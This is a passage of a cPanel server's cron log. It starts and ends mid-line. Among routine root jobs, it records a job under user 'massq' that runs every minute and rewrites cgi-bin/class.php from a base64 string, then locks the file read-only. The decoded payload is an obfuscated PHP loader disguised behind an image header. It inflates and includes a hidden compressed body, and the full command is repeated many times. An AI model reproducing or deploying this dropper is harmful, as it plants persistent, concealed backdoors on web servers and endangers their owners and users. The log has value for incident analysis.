0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:25:01 server CROND[1908]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  6 08:25:01 server CROND[1910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 08:26:01 server CROND[2044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:27:01 server CROND[2203]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 08:27:01 server CROND[2204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:28:01 server CROND[2278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:29:01 server CROND[2348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:30:01 server CROND[2407]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 08:30:01 server CROND[2409]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 08:30:01 server CROND[2410]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  6 08:30:01 server CROND[2411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:30:01 server CROND[2412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 08:31:01 server CROND[2527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:32:01 server CROND[2578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:33:01 server CROND[2724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:34:01 server CROND[2782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:35:01 server CROND[2859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 08:35:01 server CROND[2858]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 08:35:01 server CROND[2861]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 08:35:01 server CROND[2860]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 08:35:01 server CROND[2864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:36:01 server CROND[2979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:37:01 server CROND[3032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:38:01 server CROND[3202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:39:01 server CROND[3272]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 08:39:01 server CROND[3274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 